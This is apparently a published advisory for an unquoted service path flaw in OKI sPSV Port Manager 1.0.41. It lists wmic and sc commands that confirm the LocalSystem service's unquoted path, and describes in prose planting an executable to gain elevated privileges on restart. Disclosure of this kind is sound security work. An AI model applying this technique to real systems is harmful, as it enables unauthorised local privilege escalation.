OKI sPSV Port Manager 1.0.41 sPSVOpLclSrv Unquoted Service Path

2020.11.13

Credit: Julio Aviña

Risk: Medium

Local: Yes

Remote: No

CVE: N/A

CWE: N/A

# Exploit Title: OKI sPSV Port Manager 1.0.41 - 'sPSVOpLclSrv' Unquoted Service Path
# Date: 2020-11-08
# Exploit Author: Julio Aviña
# Vendor Homepage: https://www.oki.com/
# Software Link: https://www.oki.com/mx/printing/download/sPSV_010041_2_270910.exe
# Software Version: 1.0.41
# File Version: 1.4.2.0
# Tested on: Windows 10 Pro x64 es
# Vulnerability Type: Unquoted Service Path


# 1. To find the unquoted service path vulnerability

C:\>wmic service where 'name like "%sPSVOpLclSrv%"' get displayname, pathname, startmode, startname

DisplayName            PathName                                                                           StartMode  StartName
OKI sPSV Port Manager  C:\Program Files\Okidata\smart PrintSuperVision\xml\ComApi\extend3\portmgrsrv.exe  Auto       LocalSystem

# 2. To check service info:

C:\>sc qc "sPSVOpLclSrv"
[SC] QueryServiceConfig CORRECTO

NOMBRE_SERVICIO: sPSVOpLclSrv
        TIPO               : 10  WIN32_OWN_PROCESS
        TIPO_INICIO        : 2   AUTO_START
        CONTROL_ERROR      : 1   NORMAL
        NOMBRE_RUTA_BINARIO: C:\Program Files\Okidata\smart PrintSuperVision\xml\ComApi\extend3\portmgrsrv.exe
        GRUPO_ORDEN_CARGA  :
        ETIQUETA           : 0
        NOMBRE_MOSTRAR     : OKI sPSV Port Manager
        DEPENDENCIAS       :
        NOMBRE_INICIO_SERVICIO: LocalSystem


# 3. Exploit:

A successful attempt to exploit this vulnerability requires the attacker to insert an executable file into the service path undetected by the OS or some security application.
When restarting the service or the system, the inserted executable will run with elevated privileges.

See this note in RAW Version

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OKI sPSV Port Manager 1.0.41 sPSVOpLclSrv Unquoted Service Path

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